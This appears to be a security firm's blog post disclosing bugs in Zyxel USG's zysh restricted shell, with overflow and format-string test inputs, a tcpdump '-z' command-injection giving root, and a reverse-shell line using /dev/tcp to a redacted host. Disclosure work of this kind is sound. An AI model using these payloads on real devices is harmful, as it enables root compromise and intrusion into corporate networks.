“We live on a placid island of ignorance in the midst of black seas of infinity,
and it was not meant that we should voyage far.”
— H. P. Lovecraft, The Call of Cthulhu
This is the second installment of our Zyxel audit series, in which we tear apart one of their security appliances.
As described in our previous article, during a red teaming exercise conducted for one of our customers, we identified some Zyxel ZyWALL Unified Security Gateway (USG) appliances that were used as both firewalls and VPN concentrators in their branch offices.
Some of our targets were updated to the latest firmware release, which was not affected by any known vulnerabilities. However, since we had some spare budget and a large-enough time window for the engagement, we decided to buy a similar device on eBay and spend some time auditing it on our own, just as we used to do 15 years ago in similar scenarios. Sure enough, over a few weeks of audit we found many cute bugs, some of which were exploitable to achieve remote code execution and penetrate the target corporate network.
The zysh binary is a restricted shell that implements the command-line interface (CLI) on a wide range of Zyxel products, including their security appliances such as those in the USG product line. The Zyxel CLI can be accessed via SSH as follows:
raptor@blumenkraft ~ % ssh <REDACTED> -l admin (admin@<REDACTED>) Password: Router> # hello zysh!
On our Zyxel USG20-VPN test device, the CLI can also be accessed via Telnet (not enabled by default) or via the so-called Web Console, implemented with WebSockets, that is reachable with a web browser after authentication.
In the context of our wider audit of the security posture of Zyxel devices, we decided to audit zysh with the primary goal of escaping the restricted shell environment and executing arbitrary commands on the underlying embedded Linux OS. It is pretty large for a dynamically-linked, stripped binary (~19MB) and it makes plenty of unsafe API function calls, which makes it an interesting target.
During our audit of the zysh binary, we identified the following vulnerabilities:
- Multiple stack-based buffer overflows in the code responsible for handling diagnostic tests (“configure terminal > diagnostic” command).
- A stack-based buffer overflow in the “debug” command.
- A stack-based buffer overflow in the “ssh” command.
- Multiple format string bugs in the “extension” argument of the “ping”, “ping6”, “traceroute”, “traceroute6”, “nslookup”, and “nslookup6” commands.
- An OS command injection vulnerability in the “packet-trace” command.
We demonstrated the possibility, as an authenticated admin or limited-admin user, to exploit the format string bugs and the OS command injection vulnerability to escape the restricted shell environment and achieve arbitrary command execution on the underlying embedded Linux OS, respectively as regular user and as root.
Please refer to our security advisory for full details on our findings and our bug hunting methodology.
The buffer overflows we identified happen due to unsafe API function calls, which overflow past the boundary of char arrays allocated on the stack. They can be triggered with payloads similar to the following:
Router> configure terminal Router(config)# diagnostic test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1 Program received signal SIGBUS, Bus error. 0x41414140 in ?? () [...] Router> debug gui webhelp redirect AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Router> debug gui show webhelp redirect Program received signal SIGBUS, Bus error. 0x41414140 in ?? () [...] Router> ssh AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@127.0.0.1 The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. RSA key fingerprint is SHA256:fzNloEaOsmNQLHbhjroUVHkJC9ZTH09A6TRjyK+oiys. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (RSA) to the list of known hosts. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@127.0.0.1's password: [press enter a few times] Program received signal SIGBUS, Bus error. 0x41414140 in ?? ()
The zysh binary is in a sorry state when it comes to modern countermeasures against exploitation of memory corruption bugs:
- No RELRO
- No stack canary
- NX disabled
- No PIE
- Has RWX segments
That said, it looks like the buffer overflow vulnerabilities we discovered cannot be exploited to achieve arbitrary code execution after all, mainly because the character set allowed in our payload is very limited (only alphanumeric characters and some special characters, depending on the specific vulnerability). Again, you can find more details in the advisory.
A beautiful trip on 'The Lost Art of Shellcode Encoder/Decoders'.
Research used to tackle shellcoding and cross-arch fluency was usual.
Challenges may seem solved nowadays but that is not even remotely true for non-x86 archs.
E.g. good luck with a MIPS alphanumeric shellcode 😉 https://t.co/6Ht0PAGfp3
— Cristofaro Mune (@pulsoid) March 6, 2021
Format String Bug
Some zysh commands implement a special “extension” argument that allows to specify arbitrary command-line arguments to be passed to the invoked OS command that underlies each functionality. Any additional arguments we specify after the “extension” keyword are appended to the OS command line. We identified format string bugs in multiple zysh commands that implement this feature. To reproduce these bugs and leak stack memory contents or crash zysh, payloads such as the following can be used:
Router> # stack memory leak Router> ping 127.0.0.1 extension %x%x%x%x ping: unknown host 6eb83a7580808080fefeff001145e560 Router> # crash Router> ping 127.0.0.1 extension %n%n%n%n Program received signal SIGSEGV, Segmentation fault. 0x77bf6768 in vfprintf () from /lib32/libc.so.6 (gdb) bt #0 0x77bf6768 in vfprintf () from /lib32/libc.so.6 #1 0x77c14f44 in vsprintf () from /lib32/libc.so.6 #2 0x77bfd980 in sprintf () from /lib32/libc.so.6 #3 0x1000c38c in _ftext ()
At first glance, exploitation of the identified format string bugs to execute arbitrary code and escape the restricted shell environment does not look feasible, because once again we are limited in the character set that we can use in our hostile buffer.
However, we devised a workaround: instead of placing our retloc addresses at the beginning of the hostile format string as is customary, we can inject them in the process memory via the TERM environment variable that gets passed to the remote system via sshd! The direct parameter access feature of glibc, together with our very own format string exploitation technique for RISC architectures, will do the rest.
Long story short, we put together a proof-of-concept exploit that does the following:
- Authenticate and access the target zysh via SSH as an admin or limited-admin user, injecting our payload (retloc sled + NOP sled + shellcode + padding) via the TERM environment variable.
- Leak a stack address via the format string bug in the “ping” command, and use it to calculate the address of our injected shellcode near the bottom of the stack, which changes slightly at each zysh execution.
- Craft another hostile format string to use as an argument to the “ping” command and overwrite the .got entry of fork(), which gets called right after the vulnerable sprintf(), with the shellcode address, using a variation of our write-one-byte-at-a-time technique designed for RISC architectures such as MIPS and SPARC.
- Interact with the spawned bash shell!
We initially thought that Python/Paramiko would be a good language choice for the implementation, but we quickly changed our mind. In the end, we decided to go full old-school and developed our exploit in Tcl/Expect. Here it is in action:
It should not be too hard to automate/weaponize our exploit to make it work against other targets. This is left as an exercise.
OS Command Injection
We identified an OS command injection in the code responsible for handling the “packet-trace” command, which builds the command line for the tcpdump binary based on the arguments with which the “packet-trace” command is invoked.
The “extension-filter” argument is particularly interesting, because it allows to specify additional arbitrary command-line arguments to be passed to tcpdump. For instance, if we enter the following zysh command:
Router# packet-trace extension-filter -ln -i lo -w -a -W 1 -G 1 -z id
The OS command line below will be executed:
$ /usr/sbin/tcpdump -n -i eth0 -ln -i lo -w -a -W 1 -G 1 -z id
As you can see, we are using a variation of a well-known GTFOBins payload that allows us to execute the following OS command (yes, command-line switches that begin with a ‘-‘ are accepted):
$ id -a
Refer to the manual page of tcpdump for further details on how each command-line switch is interpreted. Seeing it all in action from the Web Console, as an authenticated admin or limited-admin user:
Router# packet-trace extension-filter -ln -i lo -w -a -W 1 -G 1 -z id tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes Maximum file limit reached: 1 1 packet captured 2 packets received by filter 0 packets dropped by kernel uid=0(root) gid=0(root) groups=0(root)
We got arbitrary command execution as root! We just need to find a way to exploit it to escape the restricted shell environment. This is not straightforward, due to a number of constraints (as usual, check out the advisory for a detailed explanation).
Almost by accident, we found a reliable way to exploit this vulnerability, which involves the use of standard output as a tcpdump output file (“-w -” command-line option) and some eldritch file descriptor trickery. In order to escape the restricted shell environment and execute arbitrary commands as root on the underlying embedded Linux OS, first authenticate to the Web Console as either an admin or limited-admin user. Then, run the following commands:
Router# packet-trace extension-filter -ln -i lo -w - -W 1 -G 1 -z python tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes ... Maximum file limit reached: 1 5 packets captured 10 packets received by filter 0 packets dropped by kernel Router# Python 2.7.14 (default, Sep 23 2021, 23:30:37) [GCC 4.7.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> [press enter a few times] Router# Router# Router# packet-trace extension-filter -ln -i lo -w - -W 1 -G 1 -z bash tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes ... Maximum file limit reached: 1 5 packets captured 10 packets received by filter 0 packets dropped by kernel Router# # [press enter again] File "<stdin>", line 1 ^ SyntaxError: invalid syntax >>> import os >>> os.system("bash -i >& /dev/tcp/<REDACTED>/23234 0>&1")
This will get you a privileged reverse shell:
Apparently, we managed to find a way to connect the standard input of the Web Console to the standard input of the python process we spawned with the first command, in a mind-bending exploit. To preserve our sanity, we have not thoroughly investigated how this is happening… but it works! And it is very reliable.
The memory corruption bugs were collectively assigned CVE-2022-26531, while the OS command injection vulnerability was assigned CVE-2022-26532. They were fixed by Zyxel in different versions of their firmware. Please refer to their advisory for patching information. We have not checked the effectiveness of the fixes.
During the whole coordinated disclosure process, Zyxel was very responsive. Working with them has been a pleasure and we would like to publicly acknowledge it, as unfortunately this is not always the case with every vendor. This is the disclosure timeline:
- 2022-02-25: Zyxel was notified via <firstname.lastname@example.org>.
- 2022-02-25: Zyxel acknowledged our vulnerability reports.
- 2022-03-17: Zyxel assigned CVE-2022-26531 and CVE-2022-26532 to the reported issues and informed us of their intention to publish their security advisory on 2022-05-24.
- 2022-03-18: As a token of their appreciation, Zyxel gave us a certificate of recognition 😅
- 2022-05-24: Zyxel published their security advisory, following our coordinated disclosure timeline.
- 2022-06-07: We published our own advisory with full details on the vulnerabilities.
Stay tuned for other upcoming vulnerability disclosures in this series!